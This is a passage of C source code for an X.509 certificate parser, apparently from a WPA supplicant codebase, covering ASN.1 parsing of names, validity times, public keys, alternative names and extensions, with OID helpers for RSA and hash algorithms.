hdr.class, hdr.tag); return -1; } pos = hdr.payload; end = pos + hdr.length; if (end > buf + len) return -1; *next = end; if (asn1_get_oid(pos, end - pos, &id->oid, &pos)) return -1; /* TODO: optional parameters */ return 0; } static int x509_parse_public_key(const u8 *buf, size_t len, struct x509_certificate *cert, const u8 **next) { struct asn1_hdr hdr; const u8 *pos, *end; /* * SubjectPublicKeyInfo ::= SEQUENCE { * algorithm AlgorithmIdentifier, * subjectPublicKey BIT STRING * } */ pos = buf; end = buf + len; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(SubjectPublicKeyInfo) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; if (pos + hdr.length > end) return -1; end = pos + hdr.length; *next = end; if (x509_parse_algorithm_identifier(pos, end - pos, &cert->public_key_alg, &pos)) return -1; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_BITSTRING) { wpa_printf(MSG_DEBUG, "X509: Expected BITSTRING " "(subjectPublicKey) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } if (hdr.length < 1) return -1; pos = hdr.payload; if (*pos) { wpa_printf(MSG_DEBUG, "X509: BITSTRING - %d unused bits", *pos); /* * TODO: should this be rejected? X.509 certificates are * unlikely to use such a construction. Now we would end up * including the extra bits in the buffer which may also be * ok. */ } os_free(cert->public_key); cert->public_key = os_malloc(hdr.length - 1); if (cert->public_key == NULL) { wpa_printf(MSG_DEBUG, "X509: Failed to allocate memory for " "public key"); return -1; } os_memcpy(cert->public_key, pos + 1, hdr.length - 1); cert->public_key_len = hdr.length - 1; wpa_hexdump(MSG_MSGDUMP, "X509: subjectPublicKey", cert->public_key, cert->public_key_len); return 0; } static int x509_parse_name(const u8 *buf, size_t len, struct x509_name *name, const u8 **next) { struct asn1_hdr hdr; const u8 *pos, *end, *set_pos, *set_end, *seq_pos, *seq_end; struct asn1_oid oid; char *val; /* * Name ::= CHOICE { RDNSequence } * RDNSequence ::= SEQUENCE OF RelativeDistinguishedName * RelativeDistinguishedName ::= SET OF AttributeTypeAndValue * AttributeTypeAndValue ::= SEQUENCE { * type AttributeType, * value AttributeValue * } * AttributeType ::= OBJECT IDENTIFIER * AttributeValue ::= ANY DEFINED BY AttributeType */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(Name / RDNSequencer) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; if (pos + hdr.length > buf + len) return -1; end = *next = pos + hdr.length; while (pos < end) { enum x509_name_attr_type type; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SET) { wpa_printf(MSG_DEBUG, "X509: Expected SET " "(RelativeDistinguishedName) - found class " "%d tag 0x%x", hdr.class, hdr.tag); x509_free_name(name); return -1; } set_pos = hdr.payload; pos = set_end = hdr.payload + hdr.length; if (asn1_get_next(set_pos, set_end - set_pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(AttributeTypeAndValue) - found class %d " "tag 0x%x", hdr.class, hdr.tag); x509_free_name(name); return -1; } seq_pos = hdr.payload; seq_end = hdr.payload + hdr.length; if (asn1_get_oid(seq_pos, seq_end - seq_pos, &oid, &seq_pos)) { x509_free_name(name); return -1; } if (asn1_get_next(seq_pos, seq_end - seq_pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL) { wpa_printf(MSG_DEBUG, "X509: Failed to parse " "AttributeValue"); x509_free_name(name); return -1; } /* RFC 3280: * MUST: country, organization, organizational-unit, * distinguished name qualifier, state or province name, * common name, serial number. * SHOULD: locality, title, surname, given name, initials, * pseudonym, generation qualifier. * MUST: domainComponent (RFC 2247). */ type = X509_NAME_ATTR_NOT_USED; if (oid.len == 4 && oid.oid[0] == 2 && oid.oid[1] == 5 && oid.oid[2] == 4) { /* id-at ::= 2.5.4 */ switch (oid.oid[3]) { case 3: /* commonName */ type = X509_NAME_ATTR_CN; break; case 6: /* countryName */ type = X509_NAME_ATTR_C; break; case 7: /* localityName */ type = X509_NAME_ATTR_L; break; case 8: /* stateOrProvinceName */ type = X509_NAME_ATTR_ST; break; case 10: /* organizationName */ type = X509_NAME_ATTR_O; break; case 11: /* organizationalUnitName */ type = X509_NAME_ATTR_OU; break; } } else if (oid.len == 7 && oid.oid[0] == 1 && oid.oid[1] == 2 && oid.oid[2] == 840 && oid.oid[3] == 113549 && oid.oid[4] == 1 && oid.oid[5] == 9 && oid.oid[6] == 1) { /* 1.2.840.113549.1.9.1 - e-mailAddress */ os_free(name->email); name->email = os_malloc(hdr.length + 1); if (name->email == NULL) { x509_free_name(name); return -1; } os_memcpy(name->email, hdr.payload, hdr.length); name->email[hdr.length] = '\0'; continue; } else if (oid.len == 7 && oid.oid[0] == 0 && oid.oid[1] == 9 && oid.oid[2] == 2342 && oid.oid[3] == 19200300 && oid.oid[4] == 100 && oid.oid[5] == 1 && oid.oid[6] == 25) { /* 0.9.2342.19200300.100.1.25 - domainComponent */ type = X509_NAME_ATTR_DC; } if (type == X509_NAME_ATTR_NOT_USED) { wpa_hexdump(MSG_DEBUG, "X509: Unrecognized OID", (u8 *) oid.oid, oid.len * sizeof(oid.oid[0])); wpa_hexdump_ascii(MSG_MSGDUMP, "X509: Attribute Data", hdr.payload, hdr.length); continue; } if (name->num_attr == X509_MAX_NAME_ATTRIBUTES) { wpa_printf(MSG_INFO, "X509: Too many Name attributes"); x509_free_name(name); return -1; } val = os_malloc(hdr.length + 1); if (val == NULL) { x509_free_name(name); return -1; } os_memcpy(val, hdr.payload, hdr.length); val[hdr.length] = '\0'; if (os_strlen(val) != hdr.length) { wpa_printf(MSG_INFO, "X509: Reject certificate with " "embedded NUL byte in a string (%s[NUL])", val); x509_free_name(name); return -1; } name->attr[name->num_attr].type = type; name->attr[name->num_attr].value = val; name->num_attr++; } return 0; } static char * x509_name_attr_str(enum x509_name_attr_type type) { switch (type) { case X509_NAME_ATTR_NOT_USED: return "[N/A]"; case X509_NAME_ATTR_DC: return "DC"; case X509_NAME_ATTR_CN: return "CN"; case X509_NAME_ATTR_C: return "C"; case X509_NAME_ATTR_L: return "L"; case X509_NAME_ATTR_ST: return "ST"; case X509_NAME_ATTR_O: return "O"; case X509_NAME_ATTR_OU: return "OU"; } return "?"; } /** * x509_name_string - Convert an X.509 certificate name into a string * @name: Name to convert * @buf: Buffer for the string * @len: Maximum buffer length */ void x509_name_string(struct x509_name *name, char *buf, size_t len) { char *pos, *end; int ret; size_t i; if (len == 0) return; pos = buf; end = buf + len; for (i = 0; i < name->num_attr; i++) { ret = os_snprintf(pos, end - pos, "%s=%s, ", x509_name_attr_str(name->attr[i].type), name->attr[i].value); if (ret < 0 || ret >= end - pos) goto done; pos += ret; } if (pos > buf + 1 && pos[-1] == ' ' && pos[-2] == ',') { pos--; *pos = '\0'; pos--; *pos = '\0'; } if (name->email) { ret = os_snprintf(pos, end - pos, "/emailAddress=%s", name->email); if (ret < 0 || ret >= end - pos) goto done; pos += ret; } done: end[-1] = '\0'; } static int x509_parse_time(const u8 *buf, size_t len, u8 asn1_tag, os_time_t *val) { const char *pos; int year, month, day, hour, min, sec; /* * Time ::= CHOICE { * utcTime UTCTime, * generalTime GeneralizedTime * } * * UTCTime: YYMMDDHHMMSSZ * GeneralizedTime: YYYYMMDDHHMMSSZ */ pos = (const char *) buf; switch (asn1_tag) { case ASN1_TAG_UTCTIME: if (len != 13 || buf[12] != 'Z') { wpa_hexdump_ascii(MSG_DEBUG, "X509: Unrecognized " "UTCTime format", buf, len); return -1; } if (sscanf(pos, "%02d", &year) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse " "UTCTime year", buf, len); return -1; } if (year < 50) year += 2000; else year += 1900; pos += 2; break; case ASN1_TAG_GENERALIZEDTIME: if (len != 15 || buf[14] != 'Z') { wpa_hexdump_ascii(MSG_DEBUG, "X509: Unrecognized " "GeneralizedTime format", buf, len); return -1; } if (sscanf(pos, "%04d", &year) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse " "GeneralizedTime year", buf, len); return -1; } pos += 4; break; default: wpa_printf(MSG_DEBUG, "X509: Expected UTCTime or " "GeneralizedTime - found tag 0x%x", asn1_tag); return -1; } if (sscanf(pos, "%02d", &month) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(month)", buf, len); return -1; } pos += 2; if (sscanf(pos, "%02d", &day) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(day)", buf, len); return -1; } pos += 2; if (sscanf(pos, "%02d", &hour) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(hour)", buf, len); return -1; } pos += 2; if (sscanf(pos, "%02d", &min) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(min)", buf, len); return -1; } pos += 2; if (sscanf(pos, "%02d", &sec) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(sec)", buf, len); return -1; } if (os_mktime(year, month, day, hour, min, sec, val) < 0) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to convert Time", buf, len); if (year < 1970) { /* * At least some test certificates have been configured * to use dates prior to 1970. Set the date to * beginning of 1970 to handle these case. */ wpa_printf(MSG_DEBUG, "X509: Year=%d before epoch - " "assume epoch as the time", year); *val = 0; return 0; } return -1; } return 0; } static int x509_parse_validity(const u8 *buf, size_t len, struct x509_certificate *cert, const u8 **next) { struct asn1_hdr hdr; const u8 *pos; size_t plen; /* * Validity ::= SEQUENCE { * notBefore Time, * notAfter Time * } * * RFC 3280, 4.1.2.5: * CAs conforming to this profile MUST always encode certificate * validity dates through the year 2049 as UTCTime; certificate * validity dates in 2050 or later MUST be encoded as GeneralizedTime. */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(Validity) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; plen = hdr.length; if (pos + plen > buf + len) return -1; *next = pos + plen; if (asn1_get_next(pos, plen, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || x509_parse_time(hdr.payload, hdr.length, hdr.tag, &cert->not_before) < 0) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse notBefore " "Time", hdr.payload, hdr.length); return -1; } pos = hdr.payload + hdr.length; plen = *next - pos; if (asn1_get_next(pos, plen, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || x509_parse_time(hdr.payload, hdr.length, hdr.tag, &cert->not_after) < 0) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse notAfter " "Time", hdr.payload, hdr.length); return -1; } wpa_printf(MSG_MSGDUMP, "X509: Validity: notBefore: %lu notAfter: %lu", (unsigned long) cert->not_before, (unsigned long) cert->not_after); return 0; } static int x509_id_ce_oid(struct asn1_oid *oid) { /* id-ce arc from X.509 for standard X.509v3 extensions */ return oid->len >= 4 && oid->oid[0] == 2 /* joint-iso-ccitt */ && oid->oid[1] == 5 /* ds */ && oid->oid[2] == 29 /* id-ce */; } static int x509_parse_ext_key_usage(struct x509_certificate *cert, const u8 *pos, size_t len) { struct asn1_hdr hdr; /* * KeyUsage ::= BIT STRING { * digitalSignature (0), * nonRepudiation (1), * keyEncipherment (2), * dataEncipherment (3), * keyAgreement (4), * keyCertSign (5), * cRLSign (6), * encipherOnly (7), * decipherOnly (8) } */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_BITSTRING || hdr.length < 1) { wpa_printf(MSG_DEBUG, "X509: Expected BIT STRING in " "KeyUsage; found %d tag 0x%x len %d", hdr.class, hdr.tag, hdr.length); return -1; } cert->extensions_present |= X509_EXT_KEY_USAGE; cert->key_usage = asn1_bit_string_to_long(hdr.payload, hdr.length); wpa_printf(MSG_DEBUG, "X509: KeyUsage 0x%lx", cert->key_usage); return 0; } static int x509_parse_ext_basic_constraints(struct x509_certificate *cert, const u8 *pos, size_t len) { struct asn1_hdr hdr; unsigned long value; size_t left; /* * BasicConstraints ::= SEQUENCE { * cA BOOLEAN DEFAULT FALSE, * pathLenConstraint INTEGER (0..MAX) OPTIONAL } */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in " "BasicConstraints; found %d tag 0x%x", hdr.class, hdr.tag); return -1; } cert->extensions_present |= X509_EXT_BASIC_CONSTRAINTS; if (hdr.length == 0) return 0; if (asn1_get_next(hdr.payload, hdr.length, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL) { wpa_printf(MSG_DEBUG, "X509: Failed to parse " "BasicConstraints"); return -1; } if (hdr.tag == ASN1_TAG_BOOLEAN) { if (hdr.length != 1) { wpa_printf(MSG_DEBUG, "X509: Unexpected " "Boolean length (%u) in BasicConstraints", hdr.length); return -1; } cert->ca = hdr.payload[0]; if (hdr.payload + hdr.length == pos + len) { wpa_printf(MSG_DEBUG, "X509: BasicConstraints - cA=%d", cert->ca); return 0; } if (asn1_get_next(hdr.payload + hdr.length, len - hdr.length, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL) { wpa_printf(MSG_DEBUG, "X509: Failed to parse " "BasicConstraints"); return -1; } } if (hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "X509: Expected INTEGER in " "BasicConstraints; found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; left = hdr.length; value = 0; while (left) { value <<= 8; value |= *pos++; left--; } cert->path_len_constraint = value; cert->extensions_present |= X509_EXT_PATH_LEN_CONSTRAINT; wpa_printf(MSG_DEBUG, "X509: BasicConstraints - cA=%d " "pathLenConstraint=%lu", cert->ca, cert->path_len_constraint); return 0; } static int x509_parse_alt_name_rfc8222(struct x509_name *name, const u8 *pos, size_t len) { /* rfc822Name IA5String */ wpa_hexdump_ascii(MSG_MSGDUMP, "X509: altName - rfc822Name", pos, len); os_free(name->alt_email); name->alt_email = os_zalloc(len + 1); if (name->alt_email == NULL) return -1; os_memcpy(name->alt_email, pos, len); if (os_strlen(name->alt_email) != len) { wpa_printf(MSG_INFO, "X509: Reject certificate with " "embedded NUL byte in rfc822Name (%s[NUL])", name->alt_email); os_free(name->alt_email); name->alt_email = NULL; return -1; } return 0; } static int x509_parse_alt_name_dns(struct x509_name *name, const u8 *pos, size_t len) { /* dNSName IA5String */ wpa_hexdump_ascii(MSG_MSGDUMP, "X509: altName - dNSName", pos, len); os_free(name->dns); name->dns = os_zalloc(len + 1); if (name->dns == NULL) return -1; os_memcpy(name->dns, pos, len); if (os_strlen(name->dns) != len) { wpa_printf(MSG_INFO, "X509: Reject certificate with " "embedded NUL byte in dNSName (%s[NUL])", name->dns); os_free(name->dns); name->dns = NULL; return -1; } return 0; } static int x509_parse_alt_name_uri(struct x509_name *name, const u8 *pos, size_t len) { /* uniformResourceIdentifier IA5String */ wpa_hexdump_ascii(MSG_MSGDUMP, "X509: altName - uniformResourceIdentifier", pos, len); os_free(name->uri); name->uri = os_zalloc(len + 1); if (name->uri == NULL) return -1; os_memcpy(name->uri, pos, len); if (os_strlen(name->uri) != len) { wpa_printf(MSG_INFO, "X509: Reject certificate with " "embedded NUL byte in uniformResourceIdentifier " "(%s[NUL])", name->uri); os_free(name->uri); name->uri = NULL; return -1; } return 0; } static int x509_parse_alt_name_ip(struct x509_name *name, const u8 *pos, size_t len) { /* iPAddress OCTET STRING */ wpa_hexdump(MSG_MSGDUMP, "X509: altName - iPAddress", pos, len); os_free(name->ip); name->ip = os_malloc(len); if (name->ip == NULL) return -1; os_memcpy(name->ip, pos, len); name->ip_len = len; return 0; } static int x509_parse_alt_name_rid(struct x509_name *name, const u8 *pos, size_t len) { char buf[80]; /* registeredID OBJECT IDENTIFIER */ if (asn1_parse_oid(pos, len, &name->rid) < 0) return -1; asn1_oid_to_str(&name->rid, buf, sizeof(buf)); wpa_printf(MSG_MSGDUMP, "X509: altName - registeredID: %s", buf); return 0; } static int x509_parse_ext_alt_name(struct x509_name *name, const u8 *pos, size_t len) { struct asn1_hdr hdr; const u8 *p, *end; /* * GeneralNames ::= SEQUENCE SIZE (1..MAX) OF GeneralName * * GeneralName ::= CHOICE { * otherName [0] OtherName, * rfc822Name [1] IA5String, * dNSName [2] IA5String, * x400Address [3] ORAddress, * directoryName [4] Name, * ediPartyName [5] EDIPartyName, * uniformResourceIdentifier [6] IA5String, * iPAddress [7] OCTET STRING, * registeredID [8] OBJECT IDENTIFIER } * * OtherName ::= SEQUENCE { * type-id OBJECT IDENTIFIER, * value [0] EXPLICIT ANY DEFINED BY type-id } * * EDIPartyName ::= SEQUENCE { * nameAssigner [0] DirectoryString OPTIONAL, * partyName [1] DirectoryString } */ for (p = pos, end = pos + len; p < end; p = hdr.payload + hdr.length) { int res; if (asn1_get_next(p, end - p, &hdr) < 0) { wpa_printf(MSG_DEBUG, "X509: Failed to parse " "SubjectAltName item"); return -1; } if (hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) continue; switch (hdr.tag) { case 1: res = x509_parse_alt_name_rfc8222(name, hdr.payload, hdr.length); break; case 2: res = x509_parse_alt_name_dns(name, hdr.payload, hdr.length); break; case 6: res = x509_parse_alt_name_uri(name, hdr.payload, hdr.length); break; case 7: res = x509_parse_alt_name_ip(name, hdr.payload, hdr.length); break; case 8: res = x509_parse_alt_name_rid(name, hdr.payload, hdr.length); break; case 0: /* TODO: otherName */ case 3: /* TODO: x500Address */ case 4: /* TODO: directoryName */ case 5: /* TODO: ediPartyName */ default: res = 0; break; } if (res < 0) return res; } return 0; } static int x509_parse_ext_subject_alt_name(struct x509_certificate *cert, const u8 *pos, size_t len) { struct asn1_hdr hdr; /* SubjectAltName ::= GeneralNames */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in " "SubjectAltName; found %d tag 0x%x", hdr.class, hdr.tag); return -1; } wpa_printf(MSG_DEBUG, "X509: SubjectAltName"); cert->extensions_present |= X509_EXT_SUBJECT_ALT_NAME; if (hdr.length == 0) return 0; return x509_parse_ext_alt_name(&cert->subject, hdr.payload, hdr.length); } static int x509_parse_ext_issuer_alt_name(struct x509_certificate *cert, const u8 *pos, size_t len) { struct asn1_hdr hdr; /* IssuerAltName ::= GeneralNames */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in " "IssuerAltName; found %d tag 0x%x", hdr.class, hdr.tag); return -1; } wpa_printf(MSG_DEBUG, "X509: IssuerAltName"); cert->extensions_present |= X509_EXT_ISSUER_ALT_NAME; if (hdr.length == 0) return 0; return x509_parse_ext_alt_name(&cert->issuer, hdr.payload, hdr.length); } static int x509_parse_extension_data(struct x509_certificate *cert, struct asn1_oid *oid, const u8 *pos, size_t len) { if (!x509_id_ce_oid(oid)) return 1; /* TODO: add other extensions required by RFC 3280, Ch 4.2: * certificate policies (section 4.2.1.5) * name constraints (section 4.2.1.11) * policy constraints (section 4.2.1.12) * extended key usage (section 4.2.1.13) * inhibit any-policy (section 4.2.1.15) */ switch (oid->oid[3]) { case 15: /* id-ce-keyUsage */ return x509_parse_ext_key_usage(cert, pos, len); case 17: /* id-ce-subjectAltName */ return x509_parse_ext_subject_alt_name(cert, pos, len); case 18: /* id-ce-issuerAltName */ return x509_parse_ext_issuer_alt_name(cert, pos, len); case 19: /* id-ce-basicConstraints */ return x509_parse_ext_basic_constraints(cert, pos, len); default: return 1; } } static int x509_parse_extension(struct x509_certificate *cert, const u8 *pos, size_t len, const u8 **next) { const u8 *end; struct asn1_hdr hdr; struct asn1_oid oid; int critical_ext = 0, res; char buf[80]; /* * Extension ::= SEQUENCE { * extnID OBJECT IDENTIFIER, * critical BOOLEAN DEFAULT FALSE, * extnValue OCTET STRING * } */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header in " "Extensions: class %d tag 0x%x; expected SEQUENCE", hdr.class, hdr.tag); return -1; } pos = hdr.payload; *next = end = pos + hdr.length; if (asn1_get_oid(pos, end - pos, &oid, &pos) < 0) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 data for " "Extension (expected OID)"); return -1; } if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || (hdr.tag != ASN1_TAG_BOOLEAN && hdr.tag != ASN1_TAG_OCTETSTRING)) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header in " "Extensions: class %d tag 0x%x; expected BOOLEAN " "or OCTET STRING", hdr.class, hdr.tag); return -1; } if (hdr.tag == ASN1_TAG_BOOLEAN) { if (hdr.length != 1) { wpa_printf(MSG_DEBUG, "X509: Unexpected " "Boolean length (%u)", hdr.length); return -1; } critical_ext = hdr.payload[0]; pos = hdr.payload; if (asn1_get_next(pos, end - pos, &hdr) < 0 || (hdr.class != ASN1_CLASS_UNIVERSAL && hdr.class != ASN1_CLASS_PRIVATE) || hdr.tag != ASN1_TAG_OCTETSTRING) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header " "in Extensions: class %d tag 0x%x; " "expected OCTET STRING", hdr.class, hdr.tag); return -1; } } asn1_oid_to_str(&oid, buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "X509: Extension: extnID=%s critical=%d", buf, critical_ext); wpa_hexdump(MSG_MSGDUMP, "X509: extnValue", hdr.payload, hdr.length); res = x509_parse_extension_data(cert, &oid, hdr.payload, hdr.length); if (res < 0) return res; if (res == 1 && critical_ext) { wpa_printf(MSG_INFO, "X509: Unknown critical extension %s", buf); return -1; } return 0; } static int x509_parse_extensions(struct x509_certificate *cert, const u8 *pos, size_t len) { const u8 *end; struct asn1_hdr hdr; /* Extensions ::= SEQUENCE SIZE (1..MAX) OF Extension */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 data " "for Extensions: class %d tag 0x%x; " "expected SEQUENCE", hdr.class, hdr.tag); return -1; } pos = hdr.payload; end = pos + hdr.length; while (pos < end) { if (x509_parse_extension(cert, pos, end - pos, &pos) < 0) return -1; } return 0; } static int x509_parse_tbs_certificate(const u8 *buf, size_t len, struct x509_certificate *cert, const u8 **next) { struct asn1_hdr hdr; const u8 *pos, *end; size_t left; char sbuf[128]; unsigned long value; /* tbsCertificate TBSCertificate ::= SEQUENCE */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: tbsCertificate did not start " "with a valid SEQUENCE - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; end = *next = pos + hdr.length; /* * version [0] EXPLICIT Version DEFAULT v1 * Version ::= INTEGER { v1(0), v2(1), v3(2) } */ if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; pos = hdr.payload; if (hdr.class == ASN1_CLASS_CONTEXT_SPECIFIC) { if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "X509: No INTEGER tag found for " "version field - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } if (hdr.length != 1) { wpa_printf(MSG_DEBUG, "X509: Unexpected version field " "length %u (expected 1)", hdr.length); return -1; } pos = hdr.payload; left = hdr.length; value = 0; while (left) { value <<= 8; value |= *pos++; left--; } cert->version = value; if (cert->version != X509_CERT_V1 && cert->version != X509_CERT_V2 && cert->version != X509_CERT_V3) { wpa_printf(MSG_DEBUG, "X509: Unsupported version %d", cert->version + 1); return -1; } if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; } else cert->version = X509_CERT_V1; wpa_printf(MSG_MSGDUMP, "X509: Version X.509v%d", cert->version + 1); /* serialNumber CertificateSerialNumber ::= INTEGER */ if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "X509: No INTEGER tag found for " "serialNumber; class=%d tag=0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; left = hdr.length; while (left) { cert->serial_number <<= 8; cert->serial_number |= *pos++; left--; } wpa_printf(MSG_MSGDUMP, "X509: serialNumber %lu", cert->serial_number); /* signature AlgorithmIdentifier */ if (x509_parse_algorithm_identifier(pos, end - pos, &cert->signature, &pos)) return -1; /* issuer Name */ if (x509_parse_name(pos, end - pos, &cert->issuer, &pos)) return -1; x509_name_string(&cert->issuer, sbuf, sizeof(sbuf)); wpa_printf(MSG_MSGDUMP, "X509: issuer %s", sbuf); /* validity Validity */ if (x509_parse_validity(pos, end - pos, cert, &pos)) return -1; /* subject Name */ if (x509_parse_name(pos, end - pos, &cert->subject, &pos)) return -1; x509_name_string(&cert->subject, sbuf, sizeof(sbuf)); wpa_printf(MSG_MSGDUMP, "X509: subject %s", sbuf); /* subjectPublicKeyInfo SubjectPublicKeyInfo */ if (x509_parse_public_key(pos, end - pos, cert, &pos)) return -1; if (pos == end) return 0; if (cert->version == X509_CERT_V1) return 0; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) { wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific" " tag to parse optional tbsCertificate " "field(s); parsed class %d tag 0x%x", hdr.class, hdr.tag); return -1; } if (hdr.tag == 1) { /* issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL */ wpa_printf(MSG_DEBUG, "X509: issuerUniqueID"); /* TODO: parse UniqueIdentifier ::= BIT STRING */ if (hdr.payload + hdr.length == end) return 0; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) { wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific" " tag to parse optional tbsCertificate " "field(s); parsed class %d tag 0x%x", hdr.class, hdr.tag); return -1; } } if (hdr.tag == 2) { /* subjectUniqueID [2] IMPLICIT UniqueIdentifier OPTIONAL */ wpa_printf(MSG_DEBUG, "X509: subjectUniqueID"); /* TODO: parse UniqueIdentifier ::= BIT STRING */ if (hdr.payload + hdr.length == end) return 0; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) { wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific" " tag to parse optional tbsCertificate " "field(s); parsed class %d tag 0x%x", hdr.class, hdr.tag); return -1; } } if (hdr.tag != 3) { wpa_printf(MSG_DEBUG, "X509: Ignored unexpected " "Context-Specific tag %d in optional " "tbsCertificate fields", hdr.tag); return 0; } /* extensions [3] EXPLICIT Extensions OPTIONAL */ if (cert->version != X509_CERT_V3) { wpa_printf(MSG_DEBUG, "X509: X.509%d certificate and " "Extensions data which are only allowed for " "version 3", cert->version + 1); return -1; } if (x509_parse_extensions(cert, hdr.payload, hdr.length) < 0) return -1; pos = hdr.payload + hdr.length; if (pos < end) { wpa_hexdump(MSG_DEBUG, "X509: Ignored extra tbsCertificate data", pos, end - pos); } return 0; } static int x509_rsadsi_oid(struct asn1_oid *oid) { return oid->len >= 4 && oid->oid[0] == 1 /* iso */ && oid->oid[1] == 2 /* member-body */ && oid->oid[2] == 840 /* us */ && oid->oid[3] == 113549 /* rsadsi */; } static int x509_pkcs_oid(struct asn1_oid *oid) { return oid->len >= 5 && x509_rsadsi_oid(oid) && oid->oid[4] == 1 /* pkcs */; } static int x509_digest_oid(struct asn1_oid *oid) { return oid->len >= 5 && x509_rsadsi_oid(oid) && oid->oid[4] == 2 /* digestAlgorithm */; } static int x509_sha1_oid(struct asn1_oid *oid) { return oid->len == 6 && oid->oid[0] == 1 /* iso */ && oid->oid[1] == 3 /* identified-organization */ && oid->oid[2] == 14 /* oiw */ && oid->oid[3] == 3 /* secsig */ && oid->oid[4] == 2 /* algorithms */ && oid->oid[5] == 26 /* id-sha1 */; } static int x509_sha256_oid(struct asn1_oid *oid) { return oid->len == 9 && oid->oid[0] == 2 /* joint-iso-itu-t */ && oid->oid[1] == 16 /* country */ && oid->oid[2] == 840 /* us */ && oid->oid[3] == 1 /* organization */ && oid->oid[4] == 101 /* gov */ && oid->oid[5] == 3 /* csor */ && oid->oid[6] == 4 /* nistAlgorithm */ && oid->oid[7] == 2 /* hashAlgs */ && oid->oid[8] == 1 /* sha256 */; } /** * 